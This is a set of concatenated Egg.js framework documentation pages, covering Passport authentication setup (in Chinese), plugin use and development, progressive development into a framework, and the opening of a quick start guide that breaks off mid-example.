[passport-local]: https://github.com/jaredhanson/passport-local

[eggjs/examples/passport]: https://github.com/eggjs/examples/tree/master/passport

---

---
url: /zh-CN/tutorials/passport.md
---
# Passport

**『登录鉴权』** 是一个常见的业务场景，包括『账号密码登录方式』和『第三方统一登录』。

其中，后者我们经常使用到，如 Google、GitHub、QQ 统一登录，它们都是基于 [OAuth](https://oauth.net/2/) 规范的。

[Passport] 是一个扩展性很强的认证中间件，支持 `Github`、`Twitter`、`Facebook` 等知名服务厂商的 `Strategy`，同时也支持通过账号密码的方式进行登录授权校验。

Egg 在它之上提供了 [egg-passport] 插件，把初始化、鉴权成功后的回调处理等通用逻辑封装掉，使得开发者仅需调用几个 API，即可方便地使用 Passport。

[Passport] 的执行时序如下：

* 用户访问页面；
* 检查 Session；
* 拦截并跳转到鉴权登录页面；
* Strategy 进行鉴权；
* 校验并存储用户信息；
* 序列化用户信息到 Session；
* 跳转到指定页面。

## 使用 egg-passport

下面，我们将以 GitHub 登录为例，来演示下如何使用。

### 安装

```bash
$ npm i --save egg-passport
$ npm i --save egg-passport-github
```

更多插件参见 [GitHub Topic - egg-passport](https://github.com/topics/egg-passport)。

### 配置

**开启插件：**

```js
// config/plugin.js
exports.passport = {
  enable: true,
  package: 'egg-passport',
};

exports.passportGithub = {
  enable: true,
  package: 'egg-passport-github',
};
```

**配置：**

注意：[egg-passport] 标准化了配置字段，统一为 `key` 和 `secret`。

```js
// config/default.js
exports.passportGithub = {
  key: 'your_clientID',
  secret: 'your_clientSecret',
  // callbackURL: '/passport/github/callback',
  // proxy: false,
};
```

**注意：**

* 创建一个 [GitHub OAuth Apps](https://github.com/settings/applications/new)，得到 `clientID` 和 `clientSecret` 信息。
* 填写 `callbackURL`，如 `http://127.0.0.1:7001/passport/github/callback`。
  * 线上部署时需要更新为对应的域名。
  * 路径为配置的 `options.callbackURL`，默认为 `/passport/${strategy}/callback`。
* 如应用部署在 Nginx/HAProxy 之后，需设置插件 `proxy` 选项为 `true`，并检查以下配置：
  * 代理附加 HTTP 头字段：`x-forwarded-proto` 与 `x-forwarded-host`。
  * 配置中 `config.proxy` 应设置为 `true`。

### 挂载路由

```js
// app/router.js
module.exports = (app) => {
  const { router } = app;

  // 挂载鉴权路由
  app.passport.mount('github');

  // 上面的 mount 是语法糖，等价于
  // const github = app.passport.authenticate('github', {});
  // router.get('/passport/github', github);
  // router.get('/passport/github/callback', github);
};
```

### 用户信息处理

接着，我们还需要：

* 首次登录时，一般需要把用户信息入库，并记录 Session。
* 二次登录时，从 OAuth 或 Session 拿到的用户信息，读取数据库拿到完整的用户信息。

```js
// app.js
module.exports = (app) => {
  app.passport.verify(async (ctx, user) => {
    // 检查用户
    assert(user.provider, 'user.provider should exists');
    assert(user.id, 'user.id should exists');

    // 从数据库中查找用户信息
    //
    // Authorization Table
    // column   | desc
    // ---      | ---
    // provider | provider name, like github, twitter, facebook, weibo and so on
    // uid      | provider unique id
    // user_id  | current application user id
    const auth = await ctx.model.Authorization.findOne({
      uid: user.id,
      provider: user.provider,
    });
    const existsUser = await ctx.model.User.findOne({ id: auth.user_id });
    if (existsUser) {
      return existsUser;
    }
    // 调用 service 注册新用户
    const newUser = await ctx.service.user.register(user);
    return newUser;
  });

  // 将用户信息序列化后存进 session 里面，一般需要精简，只保存个别字段
  app.passport.serializeUser(async (ctx, user) => {
    // 处理 user
    // ...
    // return user;
  });

  // 反序列化后从 session 中取出用户信息，反查数据库拿到完整信息
  app.passport.deserializeUser(async (ctx, user) => {
    // 处理 user
    // ...
    // return user;
  });
};
```

至此，我们就完成了所有的配置。完整的示例可以参见：[eggjs/examples/passport](https://github.com/topics/egg-passport)。

### API

`egg-passport` 提供了以下扩展：

* `ctx.user`：获取当前已登录的用户信息。
* `ctx.isAuthenticated()`：检查该请求是否已授权。
* `ctx.login(user, [options])`：为用户启动一个登录的 session。
* `ctx.logout()`：退出，将用户信息从 session 中清除。
* `ctx.session.returnTo`：在跳转验证前设置，可以指定成功后的 redirect 地址。

还提供了 API：

* `app.passport.verify(async (ctx, user) => {})`：校验用户。
* `app.passport.serializeUser(async (ctx, user) => {})`：序列化用户信息后存储进 session。
* `app.passport.deserializeUser(async (ctx, user) => {})`：反序列化后取出用户信息。
* `app.passport.authenticate(strategy, options)`：生成指定的鉴权中间件。
  * `options.successRedirect`：指定鉴权成功后的 redirect 地址。
  * `options.loginURL`：跳转登录地址，默认为 `/passport/${strategy}`。
  * `options.callbackURL`：授权后回调地址，默认为 `/passport/${strategy}/callback`。
* `app.passport.mount(strategy, options)`：语法糖，方便开发者配置路由。

**注意：**

* 在 `app.passport.authenticate` 中，如果未设置 `options.successRedirect` 或者 `options.successReturnToOrRedirect`，将默认跳转至 `/`。

## 使用 Passport 生态

`Passport` 的中间件很多，不可能都进行二次封装。接下来，我们来看看如何在框架中直接使用 `Passport` 中间件。以“账号密码登录方式”为例，采用 `passport-local` 中间件：

### 安装

```bash
$ npm i --save passport-local
```

### 配置

```javascript
// app.js
const LocalStrategy = require('passport-local').Strategy;

module.exports = (app) => {
  // 挂载 strategy
  app.passport.use(
    new LocalStrategy(
      {
        passReqToCallback: true,
      },
      (req, username, password, done) => {
        // 格式化 user
        const user = {
          provider: 'local',
          username,
          password,
        };
        app.passport.doVerify(req, user, done);
      },
    ),
  );

  // 处理用户信息
  app.passport.verify(async (ctx, user) => {});
  app.passport.serializeUser(async (ctx, user) => {});
  app.passport.deserializeUser(async (ctx, user) => {});
};
```

### 挂载路由

```javascript
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('/', controller.home.index);

  // 鉴权成功后的回调页面
  router.get('/authCallback', controller.home.authCallback);

  // 渲染登录页面，用户输入账号密码
  router.get('/login', controller.home.login);
  // 登录校验
  router.post(
    '/login',
    app.passport.authenticate('local', { successRedirect: '/authCallback' }),
  );
};
```

## 如何开发一个 egg-passport 插件

在上一节中，我们学会了如何在框架中使用 Passport 中间件，我们可以进一步把它封装成插件，回馈社区。

**初始化：**

```bash
$ npm init egg --type=plugin egg-passport-local
```

在 `package.json` 中配置依赖：

```json
{
  "name": "egg-passport-local",
  "version": "1.0.0",
  "eggPlugin": {
    "name": "passportLocal",
    "dependencies": ["passport"]
  },
  "dependencies": {
    "passport-local": "^1.0.0"
  }
}
```

**配置：**

```js
// plugin_root/config/config.default.js
// https://github.com/jaredhanson/passport-local
exports.passportLocal = {};
```

注意：`egg-passport` 标准化了配置字段，统一为 `key` 和 `secret`。因此，如果对应的 Passport 中间件属性名不一致时，开发者应该进行转换。

**注册 passport 中间件：**

```js
// plugin_root/app.js
const LocalStrategy = require('passport-local').Strategy;

module.exports = (app) => {
  const config = app.config.passportLocal;
  config.passReqToCallback = true;

  app.passport.use(
    new LocalStrategy(config, (req, username, password, done) => {
      // 把 Passport 插件返回的数据进行清洗处理，返回 User 对象
      const user = {
        provider: 'local',
        username,
        password,
      };
      // 这里不处理应用层逻辑，传给 app.passport.verify 统一处理
      app.passport.doVerify(req, user, done);
    }),
  );
};
```

[passport]: http://www.passportjs.org/

[egg-passport]: https://github.com/eggjs/egg-passport

[passport-local]: https://github.com/jaredhanson/passport-local

[eggjs/examples/passport]: https://github.com/eggjs/examples/tree/master/passport

---

---
url: /basics/plugin.md
---

Plugin mechanism is a major feature of our framework. Not only can it ensure that the core of the framework is sufficiently streamlined, stable and efficient, but also can promote the reuse of business logic and the formation of an ecosystem. In the following sections, we will try to answer questions such as

* Koa already has a middleware mechanism, why plugins?
* What are the differences/relationship between middleware and plugins?
* How do I use a plugin?
* How do I write a plugin?
* ...

## Why plugins?

Here are some of the issues we think that can arise when using Koa middleware:

1. Middleware loading is sequential and it is the user's responsibility to setup the execution sequence since middleware mechanism can not manage the actual order. This, in fact, is not very friendly. When the order is not correct, it can lead to unexpected results.
2. Middleware positioning is geared towards intercepting user requests to add additional logic before or after such as: authentication, security checks, logging and so on. However, in some cases, such functionality can be unrelated to the request, for example, timing tasks, message subscriptions, back-end logic and so on.
3. Some features include very complex initialization logic that needs to be done at application startup. This is obviously not suitable for middleware to achieve.

To sum up, we need a more powerful mechanism to manage, orchestrate those relatively independent business logic.

### The Relationship Between Middleware, Plugins and Application

A plugin is actually a "mini-application", almost the same as an app:

* It contains [Services](./service.md), [middleware](./middleware.md), [config](./config.md), [framework extensions](./extend.md), etc.
* It does not have separate [Router](./router.md) and [Controller](./controller.md).
* It does not have `plugin.js`, it could only define dependencies with others, but could not deside whether other plugin is enable or not.

Their relationship is:

* Applications can be directly introduced into Koa's middleware.
* When it comes to the scene mentioned in the previous section, the app needs to import the plugin.
* The plugin itself can contain middleware.
* Multiple plugins can be wrapped as an [upper frame](../advanced/framework.md).

## Using Plugins

Plugins are usually added via the npm module:

```bash
$ npm i egg-mysql --save
```

**Note: We recommend introducing dependencies in the `^` way, and locking versions are strongly discouraged.**

```json
{
  "dependencies": {
    "egg-mysql": "^ 3.0.0"
  }
}
```

Then you need to declare it in the `config / plugin.js` application or framework:

```js
// config / plugin.js
// Use mysql plugin
exports.mysql = {
  enable: true,
  package: 'egg-mysql',
};
```

You can directly use the functionality provided by the plugin:

```js
app.mysql.query(sql, values);
```

### Configuring Plugins

Each configuration item in `plugin.js` supports:

* `{Boolean} enable` - Whether to enable this plugin, the default is true
* `{String} package` -`npm` module name, plugin is imported via `npm` module
* `{String} path` - The plugin's absolute path, mutually exclusive with package configuration
* `{Array} env` - Only enable plugin in the specified runtime (environment), overriding the plugin's own configuration in `package.json`

### Enabling/Disabling plugins

The application does not need the package or path configuration when using the plugins built in the upper framework. You only need to specify whether they are enabled or not:

```js
// For the built-in plugin, you can use the following simple way to turn on or off
exports.onerror = false;
```

### Environment Configuration

We also support `plugin.{Env}.js`, which will load plugin configurations based on [Runtime](../basics/env.md).

For example, if you want to load the plugin `egg-dev` only in the local environment, you can install it to `devDependencies` and adjust the plugin configuration accordingly.

```js
// npm i egg-dev --save-dev
// package.json
{
  "devDependencies": {
    "egg-dev": "*"
  }
}
```

Then declare in `plugin.local.js`:

```js
// config / plugin.local.js
exports.dev = {
  enable: true,
  package: 'egg-dev',
};
```

In this way, `npm i --production` in the production environment does not need to download the`egg-dev` package.

**Note:**

* `plugin.default.js` does not exists. Use `local` for dev environments.

* Use this feature only in the application layer. Do not use it in the framework layer.

### Package Name and Path

* The `package` is introduced in the `npm` style which is the most common way to import
* `path` is an absolute path introduced when you want to load the plugin from different location such as when a plugin is still at the development stage or not available on `npm`
* To see the application of these two scenarios, please see [progressive development](../intro/progressive.md).

```js
// config / plugin.js
const path = require('path');
exports.mysql = {
  enable: true,
  path: path.join(__dirname, '../lib/plugin/egg-mysql'),
};
```

## Plugin Configuration

The plugin will usually contain its own default configuration, you can overwrite this in `config.default.js`:

```js
// config / config.default.js
exports.mysql = {
  client: {
    host: 'mysql.com',
    port: '3306',
    user: 'test_user',
    password: 'test_password',
    database: 'test',
  },
};
```

Specific consolidation rules can be found in [Configuration](./config.md).

## Plugin List

* Framework has default built-in plugins for enterprise applications [Common plugins](https://eggjs.org/zh-cn/plugins/):
    - [onerror](https://github.com/eggjs/onerror) Uniform Exception Handling
    - [session](https://github.com/eggjs/session) Session implementation
    - [i18n](https://github.com/eggjs/i18n) Multilingual
    - [watcher](https://github.com/eggjs/watcher) File and folder monitoring
    - [multipart](https://github.com/eggjs/multipart) File Streaming Upload
    - [security](https://github.com/eggjs/security) Security
    - [development](https://github.com/eggjs/development) Development Environment Configuration
    - [logrotator](https://github.com/eggjs/logrotator) Log segmentation
    - [schedule](https://github.com/eggjs/schedule) Timing tasks
    - [static](https://github.com/eggjs/static) Static server
    - [jsonp](https://github.com/eggjs/jsonp) jsonp support
    - [view](https://github.com/eggjs/egg-view) Template Engine
* More community plugins can be found on GitHub [egg-plugin](https://github.com/topics/egg-plugin).

## Developing a Plugin

See the documentation [plugin development](../advanced/plugin.md).

---

---
url: /advanced/plugin.md
---

Plugins are the most important features in Egg framework. They keep Egg simple, stable and efficient, and also they make the best reuse of business logic to build an entire ecosystem. Maybe we want to ask:

* Since Koa already has the mechanism of middleware, Why do we need plugins?
* What are the differences / relationships among middlewares, plugins and applications?
* How can I use the plugin?
* How do I build a plugin?
* ...

As we've already explained some these points in chapter [using plugins](../basics/plugin.md) before. Now we are going through how to build a plugin.

## Plugin Development

### Quick Start with Scaffold

Just use [egg-boilerplate-plugin] to generates a scaffold for you.

```bash
$ mkdir egg-hello && cd egg-hello
$ npm init egg --type=plugin
$ npm i
$ npm test
```

## Directory of Plugin

Plugin is actually a `mini application`, directory of plugin is as below:

```js
. egg-hello
├── package.json
├── app.js (optional)
├── agent.js (optional)
├── app
│   ├── extend (optional)
│   |   ├── helper.js (optional)
│   |   ├── request.js (optional)
│   |   ├── response.js (optional)
│   |   ├── context.js (optional)
│   |   ├── application.js (optional)
│   |   └── agent.js (optional)
│   ├── service (optional)
│   └── middleware (optional)
│       └── mw.js
├── config
|   ├── config.default.js
│   ├── config.prod.js
|   ├── config.test.js (optional)
|   ├── config.local.js (optional)
|   └── config.unittest.js (optional)
└── test
    └── middleware
        └── mw.test.js
```

It is almost the same as the application directory, what're the differences?

1. Plugin have no independant router or controller. This is because:
   * Usually routers are strongly bound to application, it is not fit here.
   * An application might have plenty of dependant plugins, routers of plugin are very possible conflict with others. It would be a disaster.
   * If you really need a general router, you should implement it as middleware of the plugin.

2. The specific information of plugin should be declared in the `package.json` of `eggPlugin`：
   * `{String} name` - plugin name(required), it must be unique, it will be used in the config of the dependencies of plugins.
   * `{Array} dependencies` - strong dependent plugins list of the current plugin(if one of these plugins here is not found, application's startup will fail).
   * `{Array} optionalDependencies` - optional dependencies list of this plugin.(if these plugins are not activated, only warnings would be occurred, and will not affect the startup of the application).
   * `{Array} env` - this option is available only when specifying the environment. For the list of env, please refer to [env](../basics/env.md). This is optional, most time you can leave it.

     ```json
     {
       "name": "egg-rpc",
       "eggPlugin": {
         "name": "rpc",
         "dependencies": ["registry"],
         "optionalDependencies": ["vip"],
         "env": ["local", "test", "unittest", "prod"]
       }
     }
     ```

3. No `plugin.js`：
   * `eggPlugin.dependencies` is for declaring dependencies only, not for importing, nor activating.
   * If you want to manage multiple plugins, you should do it in[upper framework](./framework.md)

## Dependencies Management of Plugins

The dependencies are managed by plugin himself, which is different from middlewares. Before loading plugins, application will read `eggPlugin > dependencies` and `eggPlugin > optionalDependencies` from `package.json`, and then sort out the loading orders according to their relationships, for example, the loading order of the following plugins is `c => b => a`:

```json
// plugin a
{
  "name": "egg-plugin-a",
  "eggPlugin": {
    "name": "a",
    "dependencies": [ "b" ]
  }
}

// plugin b
{
  "name": "egg-plugin-b",
  "eggPlugin": {
    "name": "b",
    "optionalDependencies": [ "c" ]
  }
}

// plugin c
{
  "name": "egg-plugin-c",
  "eggPlugin": {
    "name": "c"
  }
}
```

**Attention: The values in `dependencies` and `optionalDependencies` are the `eggPlugin.name` of plugins, not `package.name`.**

The `dependencies` and `optionalDependencies` are learnt from `npm`, most time we use `dependencies`, which is recommended. There are about two situations to apply the `optionalDependencies`:

* Only be dependant in specific environment: for example, an authentication plugin, only depends on the mock plugin in development environment.
* Weakly depending, for example: A depends on B, but without B, A can take other choices.

Attention: if you are using `optionalDependencies`, framework won't verify the activation of these dependencies, they are only for sorting loading orders. In such situation, the plugin will go through other ways such as `interface detection` to decide processing logic.

## What can Plugin Do?

We've discussed what plugin is. Now what can it do?

### Built-in Objects API Extensions

Extend the built-in objects of the framework, just like the application

* `app/extend/request.js` - extends Koa#Request object
* `app/extend/response.js` - extends Koa#Response object
* `app/extend/context.js` - extends Koa#Context object
* `app/extend/helper.js ` - extends Helper object
* `app/extend/application.js` - extends Application object
* `app/extend/agent.js` - extends Agent object

### Insert Custom Middlewares

1. First, define and implement middleware under directory `app/middleware`:

   ```js
   'use strict';

   const staticCache = require('koa-static-cache');
   const assert = require('assert');
   const mkdirp = require('mkdirp');

   module.exports = (options, app) => {
     assert.strictEqual(
       typeof options.dir,
       'string',
       'Must set `app.config.static.dir` when static plugin enable',
     );

     // ensure directory exists
     mkdirp.sync(options.dir);

     app.loggers.coreLogger.info(
       '[egg-static] starting static serve %s -> %s',
       options.prefix,
       options.dir,
     );

     return staticCache(options);
   };
   ```

2. Insert middleware to the appropriate position in `app.js`(e.g. insert static middleware before bodyParser):

   ```js
   const assert = require('assert');

   module.exports = (app) => {
     // insert static middleware before bodyParser
     const index = app.config.coreMiddleware.indexOf('bodyParser');
     assert(index >= 0, 'bodyParser highly needed');

     app.config.coreMiddleware.splice(index, 0, 'static');
   };
   ```

### Initialization on Application Starting

* If you want to read some local config before startup:

  ```js
  // ${plugin_root}/app.js
  const fs = require('fs');
  const path = require('path');

  module.exports = (app) => {
    app.customData = fs.readFileSync(path.join(app.config.baseDir, 'data.bin'));

    app.coreLogger.info('read data ok');
  };
  ```

* If you want to do some async starting business, you can do it with `app.beforeStart` API:

  ```js
  // ${plugin_root}/app.js
  const MyClient = require('my-client');

  module.exports = (app) => {
    app.myClient = new MyClient();
    app.myClient.on('error', (err) => {
      app.coreLogger.error(err);
    });
    app.beforeStart(async () => {
      await app.myClient.ready();
      app.coreLogger.info('my client is ready');
    });
  };
  ```

* You can add initialization business of agent with `agent.beforeStart` API:

  ```js
  // ${plugin_root}/agent.js
  const MyClient = require('my-client');

  module.exports = (agent) => {
    agent.myClient = new MyClient();
    agent.myClient.on('error', (err) => {
      agent.coreLogger.error(err);
    });
    agent.beforeStart(async () => {
      await agent.myClient.ready();
      agent.coreLogger.info('my client is ready');
    });
  };
  ```

### Setup Schedule Task

1. Setup dependencies of schedule plugin in `package.json`:

   ```json
   {
     "name": "your-plugin",
     "eggPlugin": {
       "name": "your-plugin",
       "dependencies": ["schedule"]
     }
   }
   ```

2. Create a new file in `${plugin_root}/app/schedule/` directory to edit your schedule task:

   ```js
   exports.schedule = {
     type: 'worker',
     cron: '0 0 3 * * *',
     // interval: '1h',
     // immediate: true,
   };

   exports.task = async (ctx) => {
     // your logic code
   };
   ```

### Best Practice of Global Instance Plugins

Some plugins are made to introduce existing service into framework, like [egg-mysql], [egg-oss].They all need to create corresponding instances in applications. We notice that there are some common problems when developing plugins of this kind:

* Use different instances of the same service in one application (e.g: connect to two different MySQL databases).
* Dynamically initialize connection after getting config from other service (e.g: get the MySQL server address from configuration center and then create connection).

If each plugin makes their own implementation, all sorts of configs and initializations will be chaotic. So the framework supplies the `app.addSingleton(name, creator)` API to unify the creation of this kind of services. Note that while using the `app.addSingleton(name, creator)` method, the configuration file must have the `client` or `clients` key configuration as the `config` to the `creator` function.

#### Ways of writing plugins

We simplify the [egg-mysql] plugin to see how to write it:

```js
// egg-mysql/app.js
module.exports = (app) => {
  // The first parameter mysql defines the field  mounted to app, we can access MySQL singleton instance via `app.mysql`
  // The second parameter createMysql accepts two parameters (config, app), and then returns a MySQL instance
  app.addSingleton('mysql', createMysql);
};

/**
 * @param  {Object} config   The config is processed by the framework. If the application is configured with multiple MySQL instances, each config would be passed in and call multiple createMysql
 * @param  {Application} app  the current application
 * @return {Object}          return the created MySQL instance
 */
function createMysql(config, app) {
  assert(config.host && config.port && config.user && config.database);
  // create instance
  const client = new Mysql(config);

  // check before start the application
  app.beforeStart(async () => {
    const rows = await client.query('select now() as currentTime;');
    app.coreLogger.info(
      `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,
    );
  });

  return client;
}
```

The initialization function also supports `Async function`, convenient for some special plugins that need to be asynchronous to get some configuration files.

```js
async function createMysql(config, app) {
  // get mysql configurations asynchronous
  const mysqlConfig = await app.configManager.getMysqlConfig(config.mysql);
  assert(
    mysqlConfig.host &&
      mysqlConfig.port &&
      mysqlConfig.user &&
      mysqlConfig.database,
  );
  // create instance
  const client = new Mysql(mysqlConfig);

  // check before start the application
  const rows = await client.query('select now() as currentTime;');
  app.coreLogger.info(
    `[egg-mysql] init instance success, rds currentTime: ${rows[0].currentTime}`,
  );

  return client;
}
```

As you can see, all we need to do for this plugin is passing the fields that need to be mounted and the corresponding initialization function. Framework will be in charge of managing all the configs and the ways to access the instances.

#### Application Layer Usage Case

##### Single Instance

1. Declare MySQL config in config file:

   ```js
   // config/config.default.js
   module.exports = {
     mysql: {
       client: {
         host: 'mysql.com',
         port: '3306',
         user: 'test_user',
         password: 'test_password',
         database: 'test',
       },
     },
   };
   ```

2. Access database through `app.mysql` directly:

   ```js
   // app/controller/post.js
   class PostController extends Controller {
     async list() {
       const posts = await this.app.mysql.query(sql, values);
     },
   }
   ```

##### Multiple Instances

1. We need to configure MySQL in the config file, but different from single instance, we need to add `clients` in the config to declare the configuration of different instances. Meanwhile, the `default` field can be used to configure the shared configuration in multiple instances (e.g: `host` and `port`). In this case, we should use `get` function to specify the corresponding instance(e.g: use `app.mysql.get('db1').query()` instead of using `app.mysql.query()` directly to get an `undefined`).

   ```js
   // config/config.default.js
   exports.mysql = {
     clients: {
       // clientId, access the client instance by app.mysql.get('clientId')
       db1: {
         user: 'user1',
         password: 'upassword1',
         database: 'db1',
       },
       db2: {
         user: 'user2',
         password: 'upassword2',
         database: 'db2',
       },
     },
     // default configuration for all databases
     default: {
       host: 'mysql.com',
       port: '3306',
     },
   };
   ```

2. Access the corresponding instance by `app.mysql.get('db1')`:

   ```js
   // app/controller/post.js
   class PostController extends Controller {
     async list() {
       const posts = await this.app.mysql.get('db1').query(sql, values);
     },
   }
   ```

##### Dynamically Instantiating

Instead of declaring the configuration in the configuration file in advance, we can dynamically initialize an instance at the runtime of the application.

```js
// app.js
module.exports = (app) => {
  app.beforeStart(async () => {
    //  get MySQL config from configuration center { host, post, password, ... }
    const mysqlConfig = await app.configCenter.fetch('mysql');
    // create MySQL instance dynamically
    app.database = app.mysql.createInstanceAsync(mysqlConfig);
  });
};
```

Access the instance through `app.database`

```js
// app/controller/post.js
class PostController extends Controller {
  async list() {
    const posts = await this.app.database.query(sql, values);
  },
}
```

**Attention: when creating the instance dynamically, framework would read the `default` configuration from the config file as the default.**

### Plugin Locate Rule

When loading the plugins in the framework, it will follow the rules below:

* If there is the path configuration, load them in path directly.
* If there is no path configuration, search them with the package name, the search orders are:
  1. `node_modules` directory of the application root
  2. `node_modules` directory of the dependencies
  3. `node_modules` of current directory(generally for unit test compatibility)

### Plugin Specification

It's well welcomed to your contributions to the new plugins, but also hope you follow some of following specifications:

* Naming Rules:
  * `npm` packages must append prefix `egg-`,and all letters must be lowercase, e.g: `egg-xxx`. The long names should be concatenated with middle-lines: `egg-foo-bar`.
  * The corresponding plugin should be named in camel-case. The name should be translated according to the middle-lines of the `npm` name:`egg-foo-bar` => `fooBar`.
  * The use of middle-lines is not compulsive, e.g: userservice(egg-userservice) and user-service(egg-user-service) are both acceptable.
* `package.json` Rules:
  * Add `eggPlugin` property according to the details discussed before.
  * For convenient index, add `egg`,`egg-plugin`,`eggPlugin` in `keywords`:

    ```json
    {
      "name": "egg-view-nunjucks",
      "version": "1.0.0",
      "description": "view plugin for egg",
      "eggPlugin": {
        "name": "nunjucks",
        "dep": ["security"]
      },
      "keywords": [
        "egg",
        "egg-plugin",
        "eggPlugin",
        "egg-plugin-view",
        "egg-view",
        "nunjucks"
      ]
    }
    ```

## Why Do Not Use the `npm` Package Name as the Plugin Name?

Egg defines the plugin name through the `eggPlugin.name`, it is only unique in application or framework, that means **many npm packages might get the same plugin name**, why design in this way?

First, Egg plugin does not only support npm packages, but also supports plugins-searching in local directory. In Chapter [progressive](../intro/progressive.md) we've mentioned how to make progress by using these two configurations. Directories are more friendly to unit tests. So, Egg can not ensure uniqueness through npm package names.

What's more, Egg can use this feature to make an adapter, for example, the plugin defined in[Template Develop Spec](./view-plugin.md#PluginNameSpecification) was named as view, but there are plugins named `egg-view-nunjucks` and `egg-view-react`, the users only need to change the plugin and modify the templates, no need to modify the controllers, because all these plugins have implemented the same APIs.

**Giving the same plugin name and the same API to the same plugin can make quick switch between them**. This is really really useful in template and database.

[egg-boilerplate-plugin]: https://github.com/eggjs/egg-boilerplate-plugin

[egg-mysql]: https://github.com/eggjs/egg-mysql

[egg-oss]: https://github.com/eggjs/egg-oss

---

---
url: /intro/progressive.md
---
# Progressive Development

Egg provides both [Plugin](../basics/plugin.md) and [Framework](../advanced/framework.md), and the former has two loading modes which are `path` and `package`. Then how should we choose?

Step-by-step example will be provided to demonstrate how to start coding development progressively.

Find detail codes on [eggjs/examples/progressive](https://github.com/eggjs/examples/tree/master/progressive).

## Getting Started

Assume that we are writing a code to analyze UA to implement the function below:

* `ctx.isAndroid`
* `ctx.isIOS`

You can easily write it down after previous tutorials, let's have a quick review:

Codes refer to [step1](https://github.com/eggjs/examples/tree/master/progressive/step1).

Directory structure:

```bash
example-app
├── app
│   ├── extend
│   │   └── context.js
│   └── router.js
├── test
│   └── index.test.js
└── package.json
```

Core code:

```js
// app/extend/context.js
module.exports = {
  get isIOS() {
    const iosReg = /iphone|ipad|ipod/i;
    return iosReg.test(this.get('user-agent'));
  },
};
```

## Prototype of Plugin

Obviously, the logic is universal that can be written as a plugin.

But since function might not be perfect at the beginning, it might be difficult to maintain if encapsulated into a plugin directly.

We can write the code as the format of plugin, but not separate out.

Codes refer to [step2](https://github.com/eggjs/examples/tree/master/progressive/step2).

New directory structure:

```bash
example-app
├── app
│   └── router.js
├── config
│   └── plugin.js
├── lib
│   └── plugin
│       └── egg-ua
│           ├── app
│           │   └── extend
│           │       └── context.js
│           └── package.json
├── test
│   └── index.test.js
└── package.json
```

Core code:

* `app/extend/context.js` move to `lib/plugin/egg-ua/app/extend/context.js`.

* `lib/plugin/egg-ua/package.json` declares plugin.

```json
{
  "eggPlugin": {
    "name": "ua"
  }
}
```

* `config/plugin.js` uses `path` to mount the plugin.

```js
// config/plugin.js
const path = require('path');
exports.ua = {
  enable: true,
  path: path.join(__dirname, '../lib/plugin/egg-ua'),
};
```

## Extract to Independent Plugin

The functions of module become better after a period of developing so we could extract it out as an independent plugin.

We extract an egg-ua plugin and have a quick review as below. Details refer to [Plugin Development](../advanced/plugin.md).

Directory structure:

```bash
egg-ua
├── app
│   └── extend
│       └── context.js
├── test
│   ├── fixtures
│   │   └── test-app
│   │       ├── app
│   │       │   └── router.js
│   │       └── package.json
│   └── ua.test.js
└── package.json
```

Codes refer to [step3/egg-ua](https://github.com/eggjs/examples/tree/master/progressive/step3/egg-ua).

Then modify the application, details refer to [step3/example-app](https://github.com/eggjs/examples/tree/master/progressive/step3/example-app).

* Remove directory `lib/plugin/egg-ua`.
* Declare dependencies `egg-ua` in `package.json`.
* Change type to `package` in `config/plugin.js`.

```js
// config/plugin.js
exports.ua = {
  enable: true,
  package: 'egg-ua',
};
```

**Note：We can use `npm link` for local test before releasing the plugin. Details refer to [npm-link](https://docs.npmjs.com/cli/link).**

```bash
$ cd example-app
$ npm link ../egg-ua
$ npm i
$ npm test
```

## Finally: A Framework

After repeating the process above, we accumulate a few plugins and configurations, and might find that most of our team projects are using them.

At that time, you can consider abstracting them as a framework which is suitable for business scenarios.

Firstly, abstract the example-framework as below. Let's have a quick review, details refer to [Framework](../advanced/framework.md).

Directory structure:

```bash
example-framework
├── config
│   ├── config.default.js
│   └── plugin.js
├── lib
│   ├── agent.js
│   └── application.js
├── test
│   ├── fixtures
│   │   └── test-app
│   └── framework.test.j.
├── README.md
├── index.js
└── package.json
```

* Codes refer to [example-framework](https://github.com/eggjs/examples/tree/master/progressive/step4/example-framework).
* Remove the dependencies of plugins such as `egg-ua` and remove it from example-app, then configure them into the `package.json` and `config/plugin.js` of the framework.

Then modify the application, details refer to [step4/example-app](https://github.com/eggjs/examples/tree/master/progressive/step4/example-app).

* Remove `egg-ua` in `config/plugin.js`.
* Remove `egg-ua` in `package.json`.
* declare `example-framework` in `package.json` and configure the `egg.framework`.

```json
{
  "name": "progressive",
  "version": "1.0.0",
  "private": true,
  "egg": {
    "framework": "example-framework"
  },
  "dependencies": {
    "example-framework": "*"
  }
}
```

**Note：We can use `npm link` for local test before releasing the framework [npm-link](https://docs.npmjs.com/cli/link).**

```bash
$ cd example-app
$ npm link ../egg-framework
$ npm i
$ npm test
```

## In the End

In conclusion, we can see how to make the framework evolution step by step which benefits from Egg's powerful plugin mechanism, code co-build, reusability and modularity.

* In general, put codes into `lib/plugin` if they can be reused in the application.

* Separate it into a `node module` when plugin becomes stable.

* Application with relatively reusable codes will work as a separate plugin.

* Abstract it as framework to release after application become certain solutions of specified business scenario.

* It would be a great improvement in the efficiency of teamwork after plugins were extracted, modularized and finally became a framework, because other projects could reuse codes by just using `npm install`.

* **Note：Whether it's the application/plugin/framework, unittest is necessary and try to reach 100% coverage**

---

---
url: /intro/quickstart.md
---
# Quick Start

This guide covers getting up and running a real example using Egg.
By following along with this guide step by step, you can quickly get started with Egg development.

## Prerequisites

* Operating System: Linux, OS X or Windows.
* Node.js Runtime: 8.x or newer; it is recommended that you use [LTS Releases][node.js].

## The Quick Way

To begin with, let's quickly initialize the project by using a scaffold,
which will quickly generate some of the major pieces of the application (`npm >=6.1.0`).

```bash
mkdir egg-example && cd egg-example
npm init egg --type=simple
npm i
```

Then get up and run by using the following commands.

```bash
npm run dev
open http://localhost:7001
```

## Step by Step

Usually you can just use `npm init egg` of the previous section,
choose a scaffold that best fits your business model and quickly generate a project,
then get started with the development.

However, in this section, instead of using scaffolds we will build a project called [Egg HackerNews](https://github.com/eggjs/examples/tree/master/hackernews) step by step, for a better understanding of how it works.

![Egg HackerNews Snapshoot](https://cloud.githubusercontent.com/assets/227713/22960991/812999bc-f37d-11e6-8bd5-a96ca37d0ff2.png)

### Initialization

First let's create the project directory and initialize its structure.

```bash
mkdir egg-example
cd egg-example
npm init
npm i egg --save
npm i egg-bin --save-dev
```

Then add `npm scripts` to `package.json`.

```json
{
  "name": "egg-example",
